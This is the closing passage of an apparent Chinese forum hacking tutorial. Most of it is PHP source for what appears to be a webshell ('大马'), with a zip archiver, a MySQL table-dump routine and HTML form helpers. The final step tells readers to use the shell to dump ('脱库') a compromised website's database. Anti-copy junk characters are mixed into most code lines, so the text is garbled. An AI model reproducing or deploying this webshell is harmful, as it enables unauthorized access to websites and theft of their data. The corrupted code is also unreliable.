  1699.                                         }
    3 o* Q5 Y) m' |; u
  1700.                                 }; E$ m  [1 C4 _/ s) y
  1701.                                 closedir($dh);
    6 _# u; s0 S9 c( p
  1702.                         }" i- I* g+ g7 ^+ q
  1703.                 }/ W' x4 C) U+ e0 h+ r8 K
  1704.                 return $a;
    & r; ^% h- C% P* p1 V" W
  1705.         }5 C, u; P4 u7 ?, c+ L1 P% N- \

  1706. ) [% K$ _5 E* ]! z
  1707.         var $datasec      = array();
    0 I) A; ~9 I) W. a/ U5 h4 H% D
  1708.         var $ctrl_dir     = array();# p  T# D+ g: m
  1709.         var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";' E& _0 k9 y' ]
  1710.         var $old_offset   = 0;5 t: n/ t6 L$ f/ ]

  1711. : P0 M! B0 W! T5 C
  1712.         function unix2DosTime($unixtime = 0) {
    / k3 C8 }1 y2 S
  1713.                 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
    $ w- G) @) _! e3 H+ X# @
  1714.                 if ($timearray['year'] < 1980) {% v6 V' D, C' I, L% _
  1715.                         $timearray['year']    = 1980;
    / K2 O3 h' p  m. c; }# U3 x
  1716.                         $timearray['mon']     = 1;% E. ~: G4 Y3 f
  1717.                         $timearray['mday']    = 1;( }- Y) y8 _, q, m
  1718.                         $timearray['hours']   = 0;
    , @8 m8 ?6 a4 O' p
  1719.                         $timearray['minutes'] = 0;
    ! h: ^6 [7 o# c/ B7 P4 D
  1720.                         $timearray['seconds'] = 0;3 l7 f# S0 w: v1 ]" h
  1721.                 } // end if
    . n1 G7 G, l% Y7 k& w, K8 k. K2 ^
  1722.                 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |* S( C# H, o# B! Q. j" v' B
  1723.                                 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
    9 y5 z! e, S  D2 s
  1724.         }& @& D! D7 }' ?/ l
  1725.         function addFile($data, $name, $time = 0) {
    : e2 U8 U, Z/ A4 a4 y6 ^+ O1 P
  1726.                 $name = str_replace('\\', '/', $name);$ |5 [2 x$ v3 r- g' r& L, q. Z
  1727.                 $dtime = dechex($this->unix2DosTime($time));0 w8 s' h& P' t6 i) T
  1728.                 $hexdtime        = '\x' . $dtime[6] . $dtime[7]
    & m" W3 P0 Z' z8 H" M
  1729.                                         . '\x' . $dtime[4] . $dtime[5]
    - g) k* W% Y# V( s1 Z/ E6 g; [: o9 }
  1730.                                         . '\x' . $dtime[2] . $dtime[3]
    6 K4 F3 T! A* y
  1731.                                         . '\x' . $dtime[0] . $dtime[1];
    6 P- w1 J4 f0 p; Q) }) }& l
  1732.                 eval('$hexdtime = "' . $hexdtime . '";');
    / a! b/ n; W* b
  1733.                 $fr        = "\x50\x4b\x03\x04";
    7 q2 y- ?* U0 Z! T
  1734.                 $fr        .= "\x14\x00";
    + B3 c/ L, u3 |6 v
  1735.                 $fr        .= "\x00\x00";: e% c& e9 C7 R5 l) u( ^- C5 ^% F
  1736.                 $fr        .= "\x08\x00";
      I4 p3 `0 u# T6 [+ S
  1737.                 $fr        .= $hexdtime;6 K7 Y0 n% J- i
  1738.                 $unc_len = strlen($data);
    ! l" _  G: I) p* X' D6 ^
  1739.                 $crc = crc32($data);0 ^% R# y! q0 P4 W0 o- q
  1740.                 $zdata = gzcompress($data);. n$ p$ X$ v' W" K+ {  ^* N: M" S
  1741.                 $c_len = strlen($zdata);
    $ y# `/ s% t8 [- z5 B, H
  1742.                 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);& Y! D- O3 u2 \# [" U
  1743.                 $fr .= pack('V', $crc);
    / G  ]+ g) D- z
  1744.                 $fr .= pack('V', $c_len);/ i$ L# |* L* r$ w( F
  1745.                 $fr .= pack('V', $unc_len);
    ! z5 p# d/ X. ~! G. \
  1746.                 $fr .= pack('v', strlen($name));7 x! H: g  m0 V  P% ^
  1747.                 $fr .= pack('v', 0);
    ' o  z4 W$ L( A6 }
  1748.                 $fr .= $name;
    . u- z* U- J5 ?2 U# E
  1749.                 $fr .= $zdata;
    / \; O* K! d5 `# R  _1 L
  1750.                 $fr .= pack('V', $crc);
    : g" y6 d; b% R' u2 K
  1751.                 $fr .= pack('V', $c_len);2 z2 \) j; ^+ S' J. v
  1752.                 $fr .= pack('V', $unc_len);
    ; e, P4 N( y  U; O: g" L/ F% M
  1753.                 $this -> datasec[] = $fr;' G8 u: h; m- o7 @/ Z1 X9 _6 Q
  1754.                 $new_offset = strlen(implode('', $this->datasec));: d6 l. N( q  }
  1755.                 $cdrec = "\x50\x4b\x01\x02";
    9 _  p/ U  `6 d3 \# X. g
  1756.                 $cdrec .= "\x00\x00";) L+ F* P* C: N- H0 H
  1757.                 $cdrec .= "\x14\x00";3 o( q! H# T+ V* d8 E6 N6 e
  1758.                 $cdrec .= "\x00\x00";+ |" B0 F, Y" V$ M3 ^
  1759.                 $cdrec .= "\x08\x00";- n% }# `6 Q% c- k- Z
  1760.                 $cdrec .= $hexdtime;
    # Y6 A5 J9 i* K7 V- i( F
  1761.                 $cdrec .= pack('V', $crc);$ f4 u; E6 E1 p" |
  1762.                 $cdrec .= pack('V', $c_len);
    # C4 p& p; a- w8 F$ x; ^/ F
  1763.                 $cdrec .= pack('V', $unc_len);
    ( }' n3 t& p$ u$ C% i
  1764.                 $cdrec .= pack('v', strlen($name) );
    4 y$ q" `$ y  g' |' @$ v" [, _+ d( Y
  1765.                 $cdrec .= pack('v', 0 );
    ' |" ]7 L; \% x) K2 u: m( x% c8 r1 [
  1766.                 $cdrec .= pack('v', 0 );
    $ _9 i6 [* [& b3 c( I
  1767.                 $cdrec .= pack('v', 0 );% P' e! a( }9 N, U  b
  1768.                 $cdrec .= pack('v', 0 );
    . B3 v1 \% j/ I5 T
  1769.                 $cdrec .= pack('V', 32 );
    * l6 Z5 ?8 b/ K& P! H. I6 B
  1770.                 $cdrec .= pack('V', $this -> old_offset );
    * u. _8 x5 m' m2 ?  @0 s
  1771.                 $this -> old_offset = $new_offset;6 [9 R! t9 Q( V+ S
  1772.                 $cdrec .= $name;/ S+ ^; I9 s! d1 N8 Z" x( c0 k5 I
  1773.                 $this -> ctrl_dir[] = $cdrec;
    1 [1 ?  C' t4 X7 f$ r# @! D1 t
  1774.         }
    # O. V2 }" r& E' K
  1775.         function file() {0 {  p) e8 \2 g- h$ }
  1776.                 $data    = implode('', $this -> datasec);$ r1 V" D0 g. D# G& d+ v: v3 |
  1777.                 $ctrldir = implode('', $this -> ctrl_dir);
    3 N6 X$ [) b  |5 ^9 {+ b( k& R
  1778.                 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) .        pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
    ; W, J: m! \1 W2 v; r( G8 W
  1779.         }1 D6 o! u; A2 X4 `# z8 T' f
  1780. }
    $ @# c; I1 L8 S* v$ |
  1781. // 备份数据库
    1 G: t/ g. U& m6 F
  1782. function sqldumptable($table, $fp=0) {
    ! y) H1 m; o: J  Z9 T. u
  1783.         $tabledump = "DROP TABLE IF EXISTS $table;\n";
    ; \9 E( A) h' s, c
  1784.         $tabledump .= "CREATE TABLE $table (\n";
    8 r+ ~  T% J* M& h! x8 d2 D
  1785.         $firstfield=1;
    % X" q4 I+ ?* D5 {! E# P, o
  1786.         $fields = q("SHOW FIELDS FROM $table");
    5 A# j: e- {  M; {
  1787.         while ($field = mysql_fetch_array($fields)) {
    6 e! A1 o* J3 n' Y
  1788.                 if (!$firstfield) {/ M" e+ [1 l) E* O$ l3 V/ U+ S" C, O
  1789.                         $tabledump .= ",\n";/ w( ?1 O6 W- A" g
  1790.                 } else {4 q0 W1 m4 P# r  B
  1791.                         $firstfield=0;
    - J/ g8 r: y% c6 M3 D+ L! x, `
  1792.                 }0 A) R/ @7 i6 ?% u# c
  1793.                 $tabledump .= "   $field[Field] $field[Type]";3 y/ @& f! {$ k. O8 b. W
  1794.                 if (!empty($field["Default"])) {
    ; F3 r, x5 }. R, J8 {5 v7 k
  1795.                         $tabledump .= " DEFAULT '$field[Default]'";: P8 l; \; y& i* z  u. X' g: e; x
  1796.                 }+ N+ Y4 B  u* W; \; D
  1797.                 if ($field['Null'] != "YES") {/ J  v6 z2 @7 n9 j7 N2 _0 r4 @' Y
  1798.                         $tabledump .= " NOT NULL";
    & C8 q. P/ k/ C) k# m5 x
  1799.                 }' b( f/ Y& f% s3 i: v+ Q
  1800.                 if ($field['Extra'] != "") {
    4 Y, z& z, \* n- H  ]2 }- Z0 A
  1801.                         $tabledump .= " $field[Extra]";# ^- h- A3 x1 P7 I# `
  1802.                 }
    7 F4 l5 `1 a* L, t
  1803.         }/ A% a9 f( V" F$ J
  1804.         fr($fields);1 H' |4 J* J& w: o$ a0 _# o5 e
  1805.         $keys = q("SHOW KEYS FROM $table");2 D1 u5 _) {  F- Z' v
  1806.         while ($key = mysql_fetch_array($keys)) {
    4 u3 L% }( m: V2 I+ l! s
  1807.                 $kname=$key['Key_name'];+ V. n5 N/ K* v, b& U0 c& ?: A
  1808.                 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
    2 m0 O/ h3 r/ b/ i- f$ ]
  1809.                         $kname="UNIQUE|$kname";
    ; M4 j0 N0 w1 b  e9 o! ~
  1810.                 }! H" E  m* {8 k% @9 ?. t2 s
  1811.                 if(!is_array($index[$kname])) {
    $ B# I7 o' ^' E# L. X( m
  1812.                         $index[$kname] = array();' ]( Z- z' {. o9 p& K# j5 }& ~4 P
  1813.                 }
    : r( O! Z+ |! Q- n- }% m
  1814.                 $index[$kname][] = $key['Column_name'];
    . g, o" U6 z1 `
  1815.         }9 L9 d7 ^; d" o
  1816.         fr($keys);/ I+ E' F/ x' A& C- w4 U
  1817.         while(list($kname, $columns) = @each($index)) {
    / O+ ~; u8 u# _: |% r# K9 J6 O
  1818.                 $tabledump .= ",\n";* v& [/ e/ n$ m3 N, T6 E' J
  1819.                 $colnames=implode($columns,",");
      K0 T. }: x( e4 p3 q# t' G+ I
  1820.                 if ($kname == "PRIMARY") {
    8 w5 s- ~" d. U: H- w4 c3 O
  1821.                         $tabledump .= "   PRIMARY KEY ($colnames)";
    1 a1 P5 o3 W, O8 ?  g+ ]5 m( e
  1822.                 } else {
    6 C% A6 z& S3 t8 L! M* F7 u0 b4 v
  1823.                         if (substr($kname,0,6) == "UNIQUE") {3 x8 b; g" J! ^# _
  1824.                                 $kname=substr($kname,7);! v1 X' C" n7 L5 \% K7 [' b
  1825.                         }0 q/ O3 R5 u( _
  1826.                         $tabledump .= "   KEY $kname ($colnames)";
    . L# G+ U6 V3 t/ S8 V
  1827.                 }
    ( n5 Q9 ^4 k& I  e' `  D
  1828.         }
    % s) u0 t# H* Z7 f( h0 O- m
  1829.         $tabledump .= "\n);\n\n";
    8 I) N$ |, R+ l4 r
  1830.         if ($fp) {
    * ~# Y1 ^: l9 ?. F' c9 ^8 V% `
  1831.                 fwrite($fp,$tabledump);& }1 i# Z$ a5 I/ m
  1832.         } else {
    6 X* V) U9 B: P3 ?! I: y- l4 P
  1833.                 echo $tabledump;& x( x$ H& b3 X! {! c7 p4 e
  1834.         }
    1 r+ D* R# _% i5 x8 Q% c
  1835.         $rows = q("SELECT * FROM $table");
    ( r- B- |2 `/ N. ^# T
  1836.         $numfields = mysql_num_fields($rows);+ A6 v) `$ w, U( D6 f7 B- l
  1837.         while ($row = mysql_fetch_array($rows)) {
    - N% ?) L: |' Y  i, T
  1838.                 $tabledump = "INSERT INTO $table VALUES(";
    7 Y4 C  \. B# F
  1839.                 $fieldcounter=-1;3 ~. I2 J  I) P2 G
  1840.                 $firstfield=1;
    , y3 P1 x- t; I& }/ Y. c/ X# i
  1841.                 while (++$fieldcounter<$numfields) {  ~0 m$ n9 O; O
  1842.                         if (!$firstfield) {
    2 I/ r2 S) j# Q2 G5 x
  1843.                                 $tabledump.=", ";
    - \8 O4 _2 ~  ]4 Q7 h. F% ^% s8 s+ M
  1844.                         } else {: |* z8 f' t; k- ^
  1845.                                 $firstfield=0;) e4 l& r- H' H0 I* e6 o1 v
  1846.                         }6 p) ]5 l4 z; s' y9 B/ |
  1847.                         if (!isset($row[$fieldcounter])) {9 e4 Z0 a) _5 h
  1848.                                 $tabledump .= "NULL";8 h% D1 @( y9 Y
  1849.                         } else {
    : [2 `1 ~2 j6 u% M* m. S" N+ V2 k
  1850.                                 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";: h1 D# w: h2 e. T1 i1 E
  1851.                         }
    ( n6 {  Q8 j; z8 A7 ?9 |
  1852.                 }7 t2 G, A9 U! C4 e9 n3 x
  1853.                 $tabledump .= ");\n";/ J* D% g1 ~! q* O* U& C3 ]
  1854.                 if ($fp) {
    ' b- f5 m% ]- ?( R' J- Z3 D' X
  1855.                         fwrite($fp,$tabledump);* e+ ]9 c6 n6 h. }! j6 k
  1856.                 } else {
    . g( ]) Y  M8 d/ E4 k& C1 m
  1857.                         echo $tabledump;
    ) U* p$ {* C6 E" c/ R  `
  1858.                 }0 }; Y3 ?8 C- J; c7 I
  1859.         }3 }# @& f2 r  U
  1860.         fr($rows);
    2 S; t) w% b# Q
  1861.         if ($fp) {; i. E  U8 Q7 _+ p  E
  1862.                 fwrite($fp,"\n");
    9 Y; I5 r+ K2 ?' y' X8 s
  1863.         } else {& K9 j7 `2 M& f; k# r3 i" A3 e
  1864.                 echo "\n";
    2 Y4 y# d! S: j% v, O
  1865.         }; i" n2 Z% c* D+ ]1 R
  1866. }
    ' `- E. u5 E+ H: u3 u
  1867. function ue($str){1 w( B) ^$ K0 s9 q
  1868.         return urlencode($str);
    1 K* h4 ~, i0 H& {+ \: {+ i! b
  1869. }
    ) E8 [" N3 X& G& @# Y7 y
  1870. function p($str){
    1 V4 D+ ?" q2 g& [- Y! ~; d% }
  1871.         echo $str."\n";
    8 f9 X: S4 ]9 @- m% d
  1872. }, F- Y" f" D$ C; F- ?. P
  1873. function tbhead() {- j. l& S( b+ b( `2 C# x
  1874.         p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
    + P2 _5 F! J) b% V8 p
  1875. }7 t& `$ A6 Y% W5 x& O9 _
  1876. function tbfoot(){
    ( b* M  [4 F- ^5 W& y9 p0 q
  1877.         p('</table>');
    - s7 K, K- _+ N+ o  D; M
  1878. }) A2 g: S+ h$ A, e' W, F
  1879. function makehide($name,$value=''){
    3 e3 _& K* @' ]  i% [
  1880.         p("<input id="$name" type="hidden" name="$name" value="$value" />");, }2 Z# [. [" S2 a, A/ Z
  1881. }
    ) ?" F0 a" U8 t
  1882. function makeinput($arg = array()){# ~& `- \9 J) h
  1883.         $arg['size'] = $arg['size'] > 0 ? "size="$arg[size]"" : "size="100"";
    . C  F- ^, C0 W
  1884.         $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
    9 a4 n. s& w! ~8 n* u
  1885.         !$arg['type'] && $arg['type'] = 'text';
    , d( ?7 g. q( N' X8 e7 f
  1886.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
    7 \' `" ^4 l/ G, B3 Z6 L7 Y
  1887.         $arg['class'] = $arg['class'] ? $arg['class'] : 'input';9 v! B+ M- l( H
  1888.         if ($arg['newline']) {
      P: \8 ^2 `) v- l
  1889.                 p("<p>$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] /></p>");
    / e5 t- b8 Q, s! f6 x
  1890.         } else {1 G0 o7 ], [6 @% t
  1891.                 p("$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] />");
    8 V7 s2 ]0 h2 m3 O# ]  b
  1892.         }
    & q& N" N( l* ]6 Y$ N+ M! k
  1893. }; e; R7 D' }5 R- u3 \
  1894. function makeselect($arg = array()){
    & h. X* r2 [  V& z! [
  1895.         if ($arg['onchange']) {
    4 Z9 ~$ \- l3 e% Z: k3 W! Q; l
  1896.                 $onchange = 'onchange="'.$arg['onchange'].'"';
    % s4 Q7 }& f3 i9 E9 }! `! o
  1897.         }
    9 F3 U% D2 x. i' c) M2 l3 ?
  1898.         $arg['title'] = $arg['title'] ? $arg['title'] : '';4 ^. U! S. y) n! i: e' x
  1899.         if ($arg['newline']) p('<p>');
    ) b: X8 i. A, `6 C! y3 J; k7 Y
  1900.         p("$arg[title] <select class="input" id="$arg[name]" name="$arg[name]" $onchange>");
    5 ?: {( @6 ^' }# J, O
  1901.                 if (is_array($arg['option'])) {% n3 C. @8 Y) |1 y: t' y- A
  1902.                         foreach ($arg['option'] as $key=>$value) {# |. h, Z6 y* f# ?
  1903.                                 if ($arg['selected']==$key) {; r( U' g/ H, h
  1904.                                         p("<option value="$key" selected>$value</option>");
    : C/ [, @# `# s- F4 m
  1905.                                 } else {
    8 s! G/ N5 ]0 H
  1906.                                         p("<option value="$key">$value</option>");
    : w1 O, p, E, X( J2 k3 g3 \9 O8 `
  1907.                                 }% x2 o( i  z( J9 O
  1908.                         }8 U' {" Y+ x. ]3 b
  1909.                 }
    6 W2 N" ?) @, _8 ]$ s
  1910.         p("</select>");
    7 q" Q# v  I7 i$ @0 `
  1911.         if ($arg['newline']) p('</p>');  O: c9 h" @5 U7 a/ s: R
  1912. }; r$ T5 p7 s1 G) C# u! g7 D
  1913. function formhead($arg = array()) {* C8 ^$ F( ^  N5 X, |
  1914.         !$arg['method'] && $arg['method'] = 'post';
    9 }' D( M9 R7 a1 ^
  1915.         !$arg['action'] && $arg['action'] = $self;
    $ M# Z9 T4 `! V7 x! r% w
  1916.         $arg['target'] = $arg['target'] ? "target="$arg[target]"" : '';* n! Y4 `0 T+ P% _6 s, g
  1917.         !$arg['name'] && $arg['name'] = 'form1';
    ! K& ~/ v7 S2 [, q
  1918.         p("<form name="$arg[name]" id="$arg[name]" action="$arg[action]" method="$arg[method]" $arg[target]>");
    4 F/ |3 o9 W/ a# `& n2 {
  1919.         if ($arg['title']) {
    * A- i) u2 F5 V( v
  1920.                 p('<h2>'.$arg['title'].' »</h2>');
    2 z+ m0 F. q9 N. o  @/ @$ R0 F& H: H
  1921.         }
    3 b9 W# h7 W8 |5 v, U( l
  1922. }
    ' X4 ~9 f* p' }4 d2 i
  1923.         5 u" W) Q) f* a  B2 b4 I6 f
  1924. function maketext($arg = array()){) S0 a  \3 ]' N) H3 ^
  1925.         !$arg['cols'] && $arg['cols'] = 100;/ @$ L+ ^+ a( S
  1926.         !$arg['rows'] && $arg['rows'] = 25;1 b2 p- X+ K: Q( c
  1927.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';& H6 h1 `% Q* l- j0 l6 n9 |
  1928.         p("<p>$arg[title]<textarea class="area" id="$arg[name]" name="$arg[name]" cols="$arg[cols]" rows="$arg[rows]" $arg[extra]>$arg[value]</textarea></p>");
    8 F* r9 b- v$ E
  1929. }
    8 h0 `: m3 f1 u
  1930. 0 n$ J) R5 h* e5 _  O
  1931. function formfooter($name = ''){
    - t- B  e, z* W3 J9 y/ [
  1932.         !$name && $name = 'submit';
    ; S4 e! d# F. y/ v7 G5 H' ]8 d. ?
  1933.         p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit"></p>');
    9 r! V3 j0 N7 L9 F
  1934.         p('</form>');  e4 e# a3 y4 m
  1935. }
    5 ^% D. ]2 I  M
  1936. 5 v8 v  o" ^, D& W/ y
  1937. function formfoot(){
    3 T+ S" b' \1 a" O7 C
  1938.         p('</form>');$ A/ R+ {0 R% g, g% e. D$ U6 e
  1939. }* u) x3 ]$ l7 v1 z8 V' J: \' r1 P
  1940. * d2 T: p6 f* ?3 q
  1941. // 调试函数
    - ?6 S' X1 v9 }" F
  1942. function pr($a) {
    4 J1 s% O0 O+ w0 t) f
  1943.         echo '<pre>';
    8 \# J) l+ D! z5 T1 _
  1944.         print_r($a);  _. M% @1 k4 t
  1945.         echo '</pre>';
    & e! V. G4 O6 f# c' [: O5 a
  1946. }% F  K) }- a/ k$ m$ c/ V. c2 M- A
  1947. " f( q- u0 a9 \8 j3 e+ g
  1948. ?>
复制代码

11、最后通过大码对网站数据库进行脱库' Q! t% a" U/ R. v

4 V' j4 B! }6 `

( ?5 z, K$ Y6 P' G$ E; I
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|

GMT+8, 2026-3-22 02:42 AM , Processed in 0.109050 second(s), 23 queries .

Powered by xyh-moon X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表